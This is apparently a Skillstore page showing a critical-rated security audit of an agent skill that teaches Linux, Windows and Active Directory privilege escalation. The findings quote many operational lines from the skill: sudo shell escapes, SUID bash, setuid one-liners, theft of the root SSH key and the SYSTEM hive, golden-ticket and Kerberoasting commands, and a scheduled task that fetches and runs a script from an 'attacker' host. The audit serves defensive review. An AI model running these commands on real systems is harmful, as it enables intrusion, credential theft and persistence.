📦
content-creator
88创建品牌一致的营销内容
营销团队需要在各个渠道保持一致的内容。此技能可帮助规划、撰写、分析和优化内容，使其符合品牌语调和 SEO 要求。
写作与内容 查看
技能 privilege-escalation-methods
📦
privilege-escalation-methods
v1.1 内容修订 r1 严重 ⚙️ 外部命令🌐 网络访问📁 文件系统访问
评估权限提升风险
权限提升审查需要清楚了解常见的 Linux、Windows 和 Active Directory 滥用途径。此技能为授权测试、培训和防御加固审查整理这些路径。
支持: Claude Codex Code(CC)
请勿自动安装此 Skill。
权威策略要求在执行任何安装操作前由操作人员审查。
使用我的智能体安装
将此请求复制给你的智能体，其中包含权威 Skill 页面和清单。
智能体请求
Review the Skillstore skill "privilege-escalation-methods" from https://skillstore.io/skills/sickn33-privilege-escalation-methods.md and its manifest at https://skillstore.io/api/skills/sickn33-privilege-escalation-methods/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.你的智能体仍应展示其计划，并按安全策略请求必要确认。
Agent 可读资源
当 AI Agent、爬虫或脚本需要干净上下文，而不是读取完整页面时，请使用这些链接。
测试它
正在使用“privilege-escalation-methods”。 为防御者总结 Linux capability 滥用。
预期结果:
Capability 滥用可能让选定的二进制文件执行超出普通用户权限的操作。防御者应清点 capabilities，移除不必要的分配，并对意外的特权 shell 行为发出警报。
正在使用“privilege-escalation-methods”。 根据列出的主题创建安全的 Active Directory 审查。
预期结果:
- 检查服务账号暴露情况和密码使用时长。
- 审查委派以及与票据相关的日志记录。
- 验证凭据转储尝试是否被阻止并触发告警。
- 确认针对疑似票据滥用的事件响应步骤。
正在使用“privilege-escalation-methods”。 审查该材料是否适合发布。
预期结果:
该材料在广泛发布前需要修订，因为它包含操作性的提权、凭据窃取和持久化工作流。安全版本应侧重于检测和修复。
安全审计
严重v5 • 2026/7/7 打开版本化报告
All static findings were retained because the skill is an operational post-exploitation guide for privilege escalation, credential theft, and persistence. Several matches are Markdown fence artifacts, but their surrounding sections contain actionable Linux, Windows, and Active Directory attack procedures. The semantic review confirms intent to obtain privileged shells, extract credentials, and compromise domains.
1
已扫描文件
334
分析行数
97
复核项
0
已忽略误报
已确认安全问题 (23)
严重
SSH directory access
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command targets /root/.ssh and archives a private key. This is direct access to privileged SSH credentials.
严重
SSH private key file
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command specifically reads /root/.ssh/id_rsa. Exposing a private key can enable unauthorized privileged login.
严重
Windows SAM/registry hive access
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
The command copies the Windows SYSTEM registry hive from a shadow copy. This supports offline credential extraction when paired with directory database or SAM data.
严重
System password file access
sudo find /etc/passwd -exec /bin/bash \;
The command references /etc/passwd while executing a root shell through sudo find. It is part of direct root shell escalation using a trusted binary.
严重
SUID bit modification
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
严重
SUID bit modification
chmod +s bash
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
严重
SUID bit modification
\! chmod +s /bin/bash
The command sets the SUID bit on a shell binary. This creates a privileged execution path that can persist beyond the initial action.
严重
UID/GID manipulation
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command explicitly sets uid 0 before launching a shell. This is direct privilege escalation to root.
显示全部 23 条已确认问题
严重
UID/GID manipulation
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
The command explicitly sets uid 0 before launching a shell. This is direct privilege escalation to root.
严重
Windows scheduled task creation
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
The scheduled task is created to run as SYSTEM and execute a remote PowerShell payload. This is a persistence and remote execution mechanism.
严重
[HEURISTIC] SUSPICIOUS COMBINATION: Code execution + Persistence mechanism
This combination is common in malware that maintains access
The skill combines code execution, credential theft, and persistence mechanisms across Linux and Windows. That combination is consistent with malware-like post-exploitation guidance.
严重
Offensive Privilege Escalation Playbook
The skill explicitly aims to move from low-privileged access to root or administrator access. Its deliverables include extracted credentials, persistence, and domain compromise.
The purpose and deliverables state the offensive objective directly, including privileged shell access and credential extraction.
严重
Credential Theft and Domain Compromise Guidance
The skill includes DCSync, golden ticket, pass-the-ticket, LLMNR poisoning, NTLM relay, and shadow copy credential extraction workflows. These enable credential theft and domain control.
The named workflows and tool commands are classic Active Directory credential theft and ticket abuse techniques.
高
UID/GID manipulation
# Python with cap_setuid
The line introduces cap_setuid abuse, which enables UID manipulation for escalation. The following command demonstrates becoming uid 0.
高
UID/GID manipulation
# Perl with cap_setuid
The line introduces cap_setuid abuse, which enables UID manipulation for escalation. The following command demonstrates becoming uid 0.
高
Weak cryptographic algorithm
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
高
Weak cryptographic algorithm
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
高
Weak cryptographic algorithm
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
The RC4/NTLM material appears inside golden ticket or pass-the-ticket workflows. The risk is credential and ticket abuse, not merely weak cryptography.
高
Network reconnaissance
- Root or Administrator shell access
The output requirement includes root or administrator shell access and extracted credentials. The network reconnaissance label is imprecise, but the skill objective is offensive post-exploitation access.
高
Safety Controls Are Insufficient for Publication
The constraints mention authorization, but they do not remove operational exploit steps or define refusal behavior. The dangerous instructions remain the primary content.
The safety section contains policy-like cautions, but the rest of the file still provides actionable escalation and credential theft workflows.
中
System reconnaissance
# Python with cap_setuid
The matched line introduces cap_setuid abuse rather than normal reconnaissance. It is retained because the surrounding context demonstrates root escalation through UID manipulation.
中
System reconnaissance
# Perl with cap_setuid
The matched line introduces cap_setuid abuse rather than normal reconnaissance. It is retained because the surrounding context demonstrates root escalation through UID manipulation.
低
System reconnaissance
root@target:~# id
The id command confirms root identity after exploitation. It is low severity by itself but validates successful privilege escalation in the example.
能力复核项 (97)
这些是真实的本地能力，对此技能可能是预期行为，因此需要复核，但不会按已确认恶意行为计分。
严重
Process spawn
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The Python PTY command spawns an interactive root shell through sudo. This is direct privilege escalation guidance and can grant unauthorized shell access.
严重
Python os.system
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The Python command sets uid 0 and invokes a shell. This is direct root shell escalation through code execution.
严重
Python PTY spawn (shell access)
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The command uses sudo Python to spawn /bin/bash in a PTY. This is explicit shell access as root.
严重
PowerShell invocation
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
The PowerShell command downloads and executes a script from an attacker-controlled URL through a scheduled task. This combines remote payload execution with persistence.
严重
Unix shell invocation
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
The shell command modifies /bin/bash with the SUID bit to preserve privileged execution. This is a durable local privilege escalation mechanism.
严重
Unix shell invocation
\! chmod +s /bin/bash
The shell command modifies /bin/bash with the SUID bit to preserve privileged execution. This is a durable local privilege escalation mechanism.
严重
sudo privilege escalation
sudo vim -c ':!/bin/bash'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
sudo privilege escalation
sudo find /etc/passwd -exec /bin/bash \;
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
sudo privilege escalation
sudo awk 'BEGIN {system("/bin/bash")}'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
sudo privilege escalation
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
sudo privilege escalation
sudo perl -e 'exec "/bin/bash";'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
sudo privilege escalation
sudo less /etc/hosts # then type: !bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
sudo privilege escalation
sudo man man # then type: !bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
sudo privilege escalation
sudo env /bin/bash
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
sudo privilege escalation
$ sudo vim -c ':!/bin/bash'
The sudo example executes shells or shell escapes through trusted binaries. This is direct root privilege escalation guidance.
严重
Hardcoded URL
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
The URL is used in a scheduled task that downloads and executes an attacker-hosted PowerShell script. This is remote payload execution and persistence guidance.
严重
Hidden file access
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
The command archives /root/.ssh/id_rsa, a private SSH key. This is credential theft from a privileged account.
高
Ruby/shell backtick execution
--Author DOMAIN\<USER> --Command "cmd.exe" `
The backtick is part of a multiline Windows abuse command for GPO or scheduled task execution. The command sequence supports unauthorized privilege escalation or persistence.
高
Ruby/shell backtick execution
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
The backtick is part of a multiline Windows abuse command for GPO or scheduled task execution. The command sequence supports unauthorized privilege escalation or persistence.
高
Ruby/PHP system() call
sudo awk 'BEGIN {system("/bin/bash")}'
The command invokes a system shell from an interpreter in an escalation context. It is an operational technique for obtaining a privileged shell.
高
Ruby/PHP system() call
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command invokes a system shell from an interpreter in an escalation context. It is an operational technique for obtaining a privileged shell.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
PowerShell invocation
```powershell
The match is a Markdown PowerShell block marker, but the block introduces offensive Windows escalation or credential abuse commands. The contextual risk is real even though the marker itself is not execution.
高
Windows cmd.exe
--Author DOMAIN\<USER> --Command "cmd.exe" `
The cmd.exe invocation is part of GPO abuse that modifies domain administrator credentials. This can enable unauthorized domain privilege escalation.
高
Unix shell invocation
sudo vim -c ':!/bin/bash'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
sudo find /etc/passwd -exec /bin/bash \;
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
sudo awk 'BEGIN {system("/bin/bash")}'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
sudo python -c 'import pty;pty.spawn("/bin/bash")'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
sudo perl -e 'exec "/bin/bash";'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
sudo env /bin/bash
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
/bin/bash -p
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
cp /bin/bash .
Copying /bin/bash is part of the no_root_squash NFS escalation workflow that later sets SUID. The command supports unauthorized privileged shell creation.
高
Unix shell invocation
/bin/bash -p
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
Unix shell invocation
$ sudo vim -c ':!/bin/bash'
The command invokes /bin/bash from sudo, interpreter, or privileged context. It is operational guidance for obtaining a privileged shell.
高
sudo privilege escalation
Exploit misconfigured sudo permissions using GTFOBins techniques:
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
高
sudo privilege escalation
# Check sudo permissions
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
高
sudo privilege escalation
sudo -l
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
高
sudo privilege escalation
# Check sudo permissions
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
高
sudo privilege escalation
$ sudo -l
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
高
sudo privilege escalation
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
This line frames sudo enumeration as a path to exploit misconfigured privileges. In this skill, it directly supports later root shell techniques.
高
Hardcoded URL
URL=https://facebook.com
The URL appears in a malicious shortcut used with LLMNR poisoning. The surrounding workflow is credential harvesting, not benign link handling.
高
Hardcoded IP address
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
高
Hardcoded IP address
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
高
Hardcoded IP address
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
The IP address appears in Kerberoasting commands that request service tickets for password cracking. This supports Active Directory credential theft in an operational workflow.
高
Temp directory access
mkdir /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
高
Temp directory access
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
高
Temp directory access
cd /tmp/mount
The temp directory access is part of an NFS no_root_squash escalation workflow. It supports mounting a writable share and creating a privileged shell binary.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```powershell
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Ruby/shell backtick execution
```bash
The match is mostly a Markdown code fence, not literal Ruby backtick execution. It is still kept because the fenced section contains or introduces operational escalation, credential theft, or persistence steps.
中
Standard device file access
getcap -r / 2>/dev/null
The /dev/null redirection is benign alone, but the command enumerates privileged file capabilities across the host. In this context it supports capability-based privilege escalation.
风险因素
⚙️ 外部命令 (87)
SKILL.md:48 SKILL.md:77 SKILL.md:48 SKILL.md:40-53 SKILL.md:53-57 SKILL.md:57-68 SKILL.md:68-72 SKILL.md:72-85 SKILL.md:85-89 SKILL.md:89-99 SKILL.md:99-103 SKILL.md:103-109 SKILL.md:109-117 SKILL.md:117-123 SKILL.md:123-127 SKILL.md:127-132 SKILL.md:132-136 SKILL.md:136-140 SKILL.md:140-144 SKILL.md:144-148 SKILL.md:148-152 SKILL.md:152-153 SKILL.md:154-155 SKILL.md:157-165 SKILL.md:165-171 SKILL.md:171-175 SKILL.md:175-177 SKILL.md:177-181 SKILL.md:181-186 SKILL.md:188-192 SKILL.md:192-195 SKILL.md:195-199 SKILL.md:199-206 SKILL.md:210-213 SKILL.md:213-221 SKILL.md:221-230 SKILL.md:230-234 SKILL.md:234-237 SKILL.md:237-241 SKILL.md:241-245 SKILL.md:245-291 SKILL.md:291-301 SKILL.md:301-305 SKILL.md:305-311 SKILL.md:47 SKILL.md:77 SKILL.md:117 SKILL.md:127 SKILL.md:136 SKILL.md:144 SKILL.md:152 SKILL.md:175 SKILL.md:181 SKILL.md:192 SKILL.md:199 SKILL.md:211 SKILL.md:241 SKILL.md:154 SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:48 SKILL.md:49 SKILL.md:52 SKILL.md:63 SKILL.md:67 SKILL.md:77 SKILL.md:80 SKILL.md:97 SKILL.md:106 SKILL.md:108 SKILL.md:298 SKILL.md:38 SKILL.md:41 SKILL.md:42 SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:48 SKILL.md:49 SKILL.md:50 SKILL.md:51 SKILL.md:52 SKILL.md:292 SKILL.md:293 SKILL.md:298 SKILL.md:319
🌐 网络访问 (5)
📁 文件系统访问 (5)
检测到的模式
Python PTY spawn (shell access)SSH directory accessSSH private key fileWindows SAM/registry hive accessSystem password file accessSUID bit modification×3UID/GID manipulation×4Weak cryptographic algorithm×3Windows scheduled task creationSystem reconnaissance×3Network reconnaissance
审计者: codex 查看审计历史 →
分享与引用此报告
分享版本化评估报告、中性徽章、嵌入卡片和引用。Skillstore 只报告证据，不判断该 Skill 是否安全。
复制报告链接
https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/sickn33-privilege-escalation-methods?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/sickn33-privilege-escalation-methods?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-privilege-escalation-methods/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/sickn33-privilege-escalation-methods.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学术引用 (APA · BibTeX · CFF)
APA 引用
sickn33. (2026). privilege-escalation-methods security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5BibTeX 引用
@techreport{sickn33-sickn33-privilege-escalation-methods-2026,
author = {sickn33},
title = {privilege-escalation-methods security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "privilege-escalation-methods security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-07"
url: "https://skillstore.io/skills/sickn33-privilege-escalation-methods/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-privilege-escalation-methods:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore 评分
评分依据 证据置信度: 中 55
架构
85
可维护性
87
内容
69
社区
83
规范符合性
你能构建什么
规划授权测试
在测试开始前，将允许的权限提升检查映射到已签署的项目范围。
构建防御清单
将列出的攻击类别转换为加固、监控和证据收集任务。
教授实验室概念
在隔离实验室中解释提权概念，而不针对真实系统。
试试这些提示
总结类别
为授权实验室总结此技能中的 Linux、Windows 和 Active Directory 权限提升类别。不要包含可执行命令。
创建加固清单
将此技能转换为服务器和域系统的防御加固清单。包括控制措施、要收集的证据和清理检查。
映射测试范围
将列出的技术映射到前置条件、所需批准、预期证据和授权内部测试的停止条件。
评估企业风险
使用此技能创建限定范围的风险评估。包括滥用途径、可能的检测、遏制措施、清理职责以及执行或不执行条件。
最佳实践
- 仅在授权实验室或已签署的安全项目中使用该材料。
- 将进攻性技术转换为防御控制、检测和清理任务。
- 在任何测试前记录范围、批准情况、证据处理方式和停止条件。
避免
- 在没有明确书面授权的系统上使用这些技术。
- 将操作性命令复制到生产环境或第三方环境中。
- 在没有批准和清理的情况下，将凭据提取或持久化视为可接受行为。
常见问题
此技能涵盖什么内容？
它涵盖 Linux、Windows 和 Active Directory 权限提升概念，并包含示例和参考表。
这对普通用户安全吗？
不安全。源材料包含操作性的后渗透指导，应仅限于授权安全工作。
该技能会自行运行命令吗？
不会。它是 markdown 指导，但如果被要求，代理或用户可能会执行其中的命令。
防御者可以使用此技能吗？
可以，防御者可以将这些类别转换为加固检查、监控思路和事件响应演练。
它会确认授权吗？
不会。它在呈现高风险材料前不会强制确认法律范围或目标所有权。
发布前应做哪些修改？
移除操作性利用步骤，并将内容重写为带有明确拒绝行为的防御性指导。
开发者详情
作者
sickn33许可证
MIT
作者版本
v1.1
Skillstore 修订
r1
版本提示
作者声明的版本不符合 SemVer 规范。
仓库
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/privilege-escalation-methods引用
9f814fc6a43fd99946f2da5e0df231c65a38bc76
维护新鲜度
2026/7/21
使用量
8 次下载 · 156 次浏览
文件结构
📄 SKILL.md
sickn33 的更多技能
查看全部📦
prompt-engineering-patterns
85用成熟模式改进 LLM 提示词
不一致的提示词会浪费时间，并让 AI 输出难以信任。此技能通过可复用模式、示例、评估步骤和优化工作流来指导提示词设计。
效率 查看
📦
senior-architect
81设计可扩展的软件架构
在 Web、移动端、后端和云系统之间比较架构决策并不容易。此技能为报告、依赖项审查和权衡文档提供结构化指南与本地脚手架脚本。
编码与开发 查看
📦
senior-fullstack
81使用资深级模式构建全栈应用
团队需要针对现代 Web 应用的一致设置、架构和审查指导。此技能为 React、Next.js、Node.js、GraphQL 和 PostgreSQL 项目提供脚手架工具、工作流参考和质量提示。
编码与开发 查看
📦
prompt-engineer
81使用 Prompt Engineer 优化 AI 提示词
当目标模糊或复杂时，编写清晰的提示词很困难。此技能会使用经过验证的提示词框架，将粗略请求转化为结构化提示词。
效率 查看
📦
product-manager-toolkit
80利用研究洞察优先安排产品工作
产品团队需要更快的方法来对功能排序、综合访谈内容并记录决策。此技能提供 RICE 评分、访谈分析和 PRD 模板，用于结构化规划。
效率 查看
相关技能
查看全部📦
pentest-coordinator
38协调授权实验室渗透测试
由 CharlesKozel
渗透测试实验室需要在侦察、利用和权限提升各阶段进行谨慎的状态跟踪。此技能通过结构化笔记、尝试记录和完成标准来协调授权的实验室工作流。
安全与合规 查看
📦
coordinator
38协调 CTF 渗透测试
由 CharlesKozel
授权安全实验室通常需要跟踪侦察、利用和权限提升等阶段。此技能可为受控的 CTF 风格评估协调智能体委派和基于状态的决策。
安全与合规 查看
📦
privilege-escalation-knowledge
38审计 Linux 权限提升路径
由 CharlesKozel
Linux 权限提升审查需要仔细枚举并严格授权。此技能为受控实验室和防御性审计整理常见检查、风险向量和证据捕获。
安全与合规 查看
📦
senior-security
